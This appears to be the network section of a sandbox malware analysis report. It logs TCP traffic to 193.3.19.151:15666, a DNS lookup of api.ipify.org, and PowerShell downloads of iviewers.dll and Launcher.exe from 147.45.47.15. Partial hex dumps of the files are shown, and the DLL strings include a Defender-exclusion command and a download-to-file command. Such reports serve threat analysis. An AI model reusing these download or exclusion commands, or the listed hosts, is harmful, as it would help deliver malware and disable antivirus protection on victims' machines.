Dec 19, 2024 08:53:06.279546022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279609919 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279841900 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.279930115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.279963017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280013084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280159950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280205011 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280246973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280296087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280347109 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280396938 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280436039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280473948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280495882 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280544043 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280575037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280617952 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280672073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280711889 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280720949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.280761003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.280886889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281004906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281049967 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281101942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281114101 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281152964 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281192064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281244993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281282902 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281326056 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281339884 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281411886 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281467915 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281470060 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281511068 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281538010 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281626940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281677961 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281702995 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281744957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281821966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281832933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.281949997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.281994104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282017946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282042980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282074928 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282103062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282143116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282170057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282218933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282291889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282382965 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282594919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282653093 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282704115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282754898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282758951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282793999 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282857895 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282883883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.282928944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.282972097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283014059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283023119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283071995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283114910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283154011 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283175945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283220053 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283263922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283281088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283299923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283325911 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283354998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283392906 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283449888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283484936 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283504009 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283548117 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283569098 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283606052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283723116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283763885 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283797979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283842087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283844948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283879995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.283910990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.283948898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284188032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284224987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284307957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284344912 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284390926 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284429073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284444094 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284455061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284486055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284517050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284609079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284737110 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284785986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.284831047 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.284962893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285013914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285047054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285096884 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285098076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285136938 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285161018 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285201073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285245895 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285263062 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285294056 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285310984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285387039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285433054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285475969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285537958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285543919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285564899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285583973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285609007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285664082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285794973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285845995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285887957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285912037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.285933018 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285964012 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.285979033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286016941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286045074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286083937 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286118984 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286155939 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286189079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286226034 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286251068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286292076 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286319017 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286362886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286397934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286438942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286468029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286504984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286535025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286577940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286603928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286638975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286681890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286690950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.286725998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.286968946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287051916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287060976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287112951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287146091 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287184000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287213087 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287251949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287360907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287415028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287519932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287570000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287575006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287612915 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287619114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287717104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287725925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287760973 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287779093 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.287800074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.287903070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288126945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288178921 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288232088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288361073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288362980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288369894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288415909 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288420916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288460016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288464069 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288568974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288691998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288733959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288769960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288779020 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288820982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288892031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288937092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.288938999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288981915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.288983107 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289009094 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289036036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289060116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289081097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289129972 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289135933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289171934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289237976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289278984 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289334059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289371014 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289393902 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289416075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289449930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289555073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289593935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289597988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289637089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289640903 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289680958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289706945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289742947 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:06.289762974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289819002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:06.289860010 CET	49709	15666	192.168.2.5	193.3.19.151

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:52:57.369358063 CET	192.168.2.5	1.1.1.1	0xe740	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:52:57.507122040 CET	1.1.1.1	192.168.2.5	0xe740	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:52:57.507122040 CET	1.1.1.1	192.168.2.5	0xe740	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:52:57.507122040 CET	1.1.1.1	192.168.2.5	0xe740	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	147.45.47.15	80	6152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:52:40.967886925 CET	169	OUT	GET /iviewers.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.47.15 Connection: Keep-Alive
Dec 19, 2024 08:52:42.215856075 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:52:42 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 18 Dec 2024 13:27:42 GMT ETag: "1800-6298b60de3f6f" Accept-Ranges: bytes Content-Length: 6144 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 93 65 61 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 0c 00 00 00 08 00 00 00 00 00 00 ae 2b 00 00 00 20 00 00 00 40 00 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 00 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 04 40 00 00 28 00 00 00 5c 2b 00 00 4f 00 00 00 00 60 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeag!+ @ @@(\+O` H.text `.sdataV@@.rsrc`@@.reloc@B
Dec 19, 2024 08:52:42.215948105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +H!`T+rp(-rp(-+rprSp(V( ((
Dec 19, 2024 08:52:42.215960979 CET	1236	IN	Data Raw: 00 a9 00 b1 02 06 00 b1 00 c8 02 33 00 79 00 52 02 37 00 b1 00 da 02 37 00 79 00 52 02 3d 00 b9 00 ee 02 1a 00 2e 00 0b 00 5b 00 2e 00 13 00 64 00 2e 00 1b 00 83 00 2e 00 23 00 83 00 2e 00 2b 00 91 00 2e 00 33 00 83 00 2e 00 3b 00 83 00 2e 00 43 Data Ascii: 3yR77yR=.[.d..#.+.3.;.C.K.S.[.c.k9>CC<Module>System.Runtime.CompilerServicesCompilationRelax
Dec 19, 2024 08:52:42.216352940 CET	1236	IN	Data Raw: 20 00 22 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 27 00 01 05 27 00 22 00 01 0b 72 00 75 00 Data Ascii: "Add-MpPreference -ExclusionPath ''"runas.exe+-Command "iwr -useb '' -OutFile '2@C6H QIM
Dec 19, 2024 08:52:42.216365099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 01 00 01 00 00 00 30 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 48 00 00 00 58 60 00 00 60 03 00 00 00 00 00 00 00 00 00 00 60 03 34 00 00 00 56 00 53 00 5f 00 56 00 45 00 52 00 53 00 49 00 4f 00 4e Data Ascii: 0HX```4VS_VERSION_INFO?DVarFileInfo$TranslationStringFile
Dec 19, 2024 08:52:42.216377974 CET	269	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:52:42.251663923 CET	145	OUT	GET /Launcher.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.47.15
Dec 19, 2024 08:52:42.649183035 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:52:42 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 18 Dec 2024 13:27:42 GMT ETag: "325e0-6298b60deeb4f" Accept-Ranges: bytes Content-Length: 206304 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ae 14 73 f9 ea 75 1d aa ea 75 1d aa ea 75 1d aa fe 1e 1e ab e2 75 1d aa fe 1e 1c ab fd 75 1d aa ea 75 1c aa ae 77 1d aa fe 1e 18 ab c4 75 1d aa fe 1e 19 ab a5 75 1d aa fe 1e e2 aa eb 75 1d aa fe 1e 1f ab eb 75 1d aa 52 69 63 68 ea 75 1d aa 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 9e e4 2e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 14 00 16 02 00 00 f2 00 00 00 00 00 00 a0 f0 01 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 05 00 01 00 00 00 00 00 00 30 03 00 00 04 00 00 26 47 03 00 02 00 40 c1 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$suuuuuuwuuuuRichuPEL.0@0&G@ tH`!TH@@l.textT `.datat0@.idata,@"@@.rsrc`@@@.reloc,@B
Dec 19, 2024 08:52:42.649295092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 ed 41 00 f0 b2 40 00 b0 b2 40 00 d0 b2 40 00 00 00 00 00 00 00 00 00 80 ed 41 00 70 f1 41 00 c0 fa 41 00 00 00 Data Ascii: A@@@ApAA`P`pP p
Dec 19, 2024 08:52:42.649310112 CET	1236	IN	Data Raw: 00 c0 95 01 00 00 d0 95 01 00 00 10 96 01 00 00 d0 b3 01 00 00 00 b4 01 00 00 20 b4 01 00 00 30 b4 01 00 00 f0 b4 01 00 00 20 b5 01 00 00 60 b5 01 00 00 70 b5 01 00 00 80 b5 01 00 00 80 b6 01 00 00 90 b8 01 00 00 c0 b8 01 00 00 d0 bb 01 00 00 00 Data Ascii: 0 `p `P` 0@P`p0
Dec 19, 2024 08:52:42.649708033 CET	1236	IN	Data Raw: 82 4f 45 64 27 f8 ce 11 90 59 08 00 36 f1 25 02 ba e5 37 fc 8e 4a ce 11 87 0b 08 00 36 8d 23 02 11 01 00 00 00 00 00 00 40 e1 00 00 40 e1 00 00 0c 00 00 00 10 b3 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 b3 Data Ascii: OEd'Y6%7J6#@@@`@@x@A@`@P@`@AAAAAAA@AAA A0A@APA`ApA@AAA@A@AAAA0A@APA`ApA
